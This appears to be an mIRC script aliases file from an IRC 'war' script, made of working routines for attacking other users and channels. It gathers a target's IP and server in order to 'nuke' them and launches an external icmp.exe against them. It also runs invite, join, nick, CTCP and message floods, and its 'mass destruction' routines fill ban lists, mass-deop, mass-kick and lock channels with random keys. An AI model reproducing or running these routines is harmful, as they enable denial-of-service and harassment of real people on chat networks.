[aliases]
n0=;           this section contains aliases used for flood routines
n1=;           and destruction type parts of the popups
n2=;
n3=getnukeinfo {
n4=  altech -a %dis1 $+ Retrieving info needed to nuke $$1 $+ ...
n5=  set %ady $right($a2($$1),$calc($len($a2($$1)) - 4))
n6=  if ($isnumericip(%ady)) { echo -a %dis1 $+ IP: $+ %dis42 %ady }
n7=  else { .enable #nukeinfoip | .disable #regdns | .dns $1 }
n8=  .timer 1 1 getnukeserver $1
n9=}
n10=getnukeserver .enable #nukeinfoserver | whois $1
n11=filterkick {
n12=  amiopped $1
n13=  %i = 1 | %tvfkcount = 0
n14=  :nx
n15=  inc %i
n16=  set %temp [ $ $+ [ %i ] ]
n17=  if %temp != $null {
n18=    %m = 0
n19=    :nextnick
n20=    inc %m
n21=    set %nick $ialchan( [ *!*@* $+ [ %temp ] ] ,$1,%m).nick
n22=    if (%nick != $null) {
n23=      if (%tvfkallow) {
n24=        if ($isfriend(%nick,$1)) goto nextnick
n25=      }
n26=      set %reason $readini $mircdiroptions\options.ini FilterReason %temp
n27=      if %reason = $null {
n28=        if (%tvfkban) set %reason %kickbanmsg
n29=        else set %reason %kickmsg
n30=      }
n31=      if (%tvfkban) {
n32=        if (%tvfkb [ $+ [ %temp ] ] != $true) {
n33=          set %tvfkb [ $+ [ %temp ] ] $true
n34=          mode $1 -o+b %nick *!*@* $+ %temp
n35=          rtb *!*@* $+ %temp $1
n36=        }
n37=        elseif (%nick isop $1) mode $1 -o %nick
n38=      }
n39=      kick $1 %nick %reason
n40=      inc %tvfkcount    
n41=      goto nextnick
n42=    }
n43=    goto nx
n44=  }    
n45=  if %tvfkcount = 0 altech $1 %dis10 $+ Filter scan complete but no matches were found
n46=  elseif %tvfkcount = 1 altech $1 %dis10 $+ Filter scan complete, kicked 1 person
n47=  else altech $1 %dis10 $+ Filter can complete, kicked %tvfkcount people
n48=  unset %tvfk*
n49=}
n50=showopnicks {
n51=  :nx
n52=  inc %i
n53=  if $opnick(%i,%deopchan) != $null {
n54=    if $opnick(%i,%deopchan) != $me set %lagnicks %lagnicks $opnick(%i,%deopchan)
n55=    goto nx
n56=  }
n57=  dde $1- %lagnicks  
n58=}
n59=icmp set %tvicmpnick $1 | .enable #revenge | userhost $1
n60=runicmp {
n61=  altech -a %dis10 $+ ICMP initiated on $1
n62=  run $mircdirbin\icmp.exe $mircdir $+ @ $+ $1
n63=}
n64=isnumericip {
n65=  %m = -1
n66=  :nx
n67=  inc %m | if (*.*.*. [ $+ [ %m ] ] $+ * iswm $1) return $true
n68=  if %m < 9 goto nx
n69=  return $false
n70=}
n71=; return a random nick
n72=rdnick {
n73=  :pi
n74=  set %rc $r(65,124) | if ((%rc isin 9296) || (%rc = 123)) goto pi
n75=  %rnd = $chr(%rc)
n76=  :px
n77=  set %rc $r(48,124)
n78=  if ((%rc isnum 58-64) || (%rc = 96) || (%rc = 123)) goto px
n79=  set %rnd %rnd $+ $chr(%rc) | if $len(%rnd) < 9 goto px
n80=  return %rnd
n81=}
n82=rdnick2 return %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ] $+ %acn [ $+ [ $r(1,2) ] ]
n83=; return a random channel
n84=rchan {
n85=  set %ts $chr(35) | %num = $r(10,100)
n86=  :nx
n87=  set %num $r(48,124)
n88=  if %num = 58 goto nx
n89=  set %ts %ts $+ $chr(%num)
n90=  if $len(%ts) < %num goto nx
n91=  return %ts
n92=}
n93=; miscellaneous flood crap, nothing special
n94=invflood set %rchan $rchan | j %rchan | invite $1 %rchan | .timer 1 3 part %rchan
n95=jf join $1 | part $1
n96=joinflood {
n97=  .enable #nflood | %me = $me | .auser 70 $me | %fc = 0 | set %ch $2
n98=  .timer $2 1 jf $1
n99=}
n100=cn {
n101=  if (%getnick) cnick $rdnick
n102=  else nick $rdnick
n103=}
n104=acn {
n105=  if (%getnick) cnick $rdnick2
n106=  else nick $rdnick2
n107=}
n108=nickflood {
n109=  .enable #nflood | %me = $me | .auser 70 $me | %fc = 0 | set %ch $2
n110=  if $1 = r .timer $2 1 cn
n111=  else .timer $2 1 acn
n112=}
n113=sflood {
n114=  pflood $1
n115=  %f = 0
n116=  :nx
n117=  inc %f | c $1 | vn $1 | u $1 | ping $1
n118=  if %f < 20 goto nx
n119=}
n120=rflood {
n121=  pflood $1
n122=  %f = 0
n123=  :nx
n124=  inc %f | ctcp $1 $2
n125=  if %f < 20 goto nx
n126=}
n127=tflood pflood $1 | .timer 5 1 msg $1 $ranstring
n128=pflood {
n129=  if $a3($1) = $null .ignore -u200 $1
n130=  else .ignore -u200 $a3($1)
n131=  .flood 16 5 2 | .timer 1 60 .flood 3 3 30
n132=}
n133=dflood {
n134=  set %l 0
n135=  :nx
n136=  inc %l | raw -q  privmsg $1 : $2- | if %l != 20 goto nx
n137=}
n138=; 
n139=; next section deals with the "mass destruction" part of the channel popups
n140=;
n141=fillban {
n142=  amiopped $1
n143=  %i = 0 | %bans = ""
n144=  :nx
n145=  inc %i
n146=  if %i > 21 halt
n147=  %bans = %bans *!*@ $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z)
n148=  if %maxmodes // %i { mode $1 +bbbb %bans | %bans = "" }
n149=  goto nx
n150=}
n151=deopall {
n152=  if $1 = $null { altech -a %dis10 $+ You can't mass deop if you're not on a channel! | dh }
n153=  amiopped $1
n154=  if $opnick($1,0) = 0 { altech -a %dis10 $+ There are no ops on $1 $+ ! | dh }
n155=  if (($opnick($1,0) = 1) && ($me isop $1)) { altech -a %dis10 $+ You are the only op on $1 $+ ! | dh }
n156=  %i = 0 | %nicks = ""
n157=  :nx
n158=  inc %i
n159=  if $opnick($1,%i) = $null { if $len(%nicks) > 0 mode $1 -oooo %nicks | halt }
n160=  if $opnick($1,%i) != $me set %nicks %nicks $opnick($1,%i)
n161=  if %maxmodes // %i { mode $1 -oooo %nicks | %nicks = "" }
n162=  goto nx
n163=}
n164=mkick {
n165=  if $1 = $null { altech -a %dis10 $+ You can't mass kick if you're not on a channel! | dh }
n166=  amiopped $1
n167=  %i = 0
n168=  :nx
n169=  inc %i
n170=  if $opnick($1,%i) != $me {
n171=    if (($2 = all) || ($gl($opnick($1,%i)) < 19)) kick $1 $opnick($1,%i) %kickmsg
n172=  }
n173=  if %i < $opnick($1,0) goto nx
n174=  %i = 0
n175=  :nw
n176=  inc %i
n177=  if (($2 = all) || ($gl($nopnick($1,%i)) < 19)) kick $1 $nopnick($1,%i) %kickmsg
n178=  if %i < $nopnick($1,0) goto nw
n179=}
n180=; is there no timer running for the specified timer #?
n181=; lets see how many scripts utilize something like after this is released...
n182=notimer {
n183=  %m = 0
n184=  :nx
n185=  inc %m
n186=  if $timer(%m) != $null {
n187=    if $timer(%m) = $1 return $false
n188=    goto nx
n189=  }
n190=  return $true
n191=}
n192=havetimer {
n193=  %k = 0
n194=  :nx
n195=  inc %k
n196=  if $timer(%k) != $null {
n197=    if $timer(%k) = $1 return $true
n198=    goto nx
n199=  }
n200=  return $false
n201=}
n202=rk {
n203=  if $me isop $1 {
n204=    if $chan($1).key != $null mode $1 -k $chan($1).key
n205=    mode $1 +k $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(A,Z)
n206=  }
n207=  else { altech -a %dis10 $+ You are no longer an op on $1 | Random key halted | unlock $1 }     
n208=}
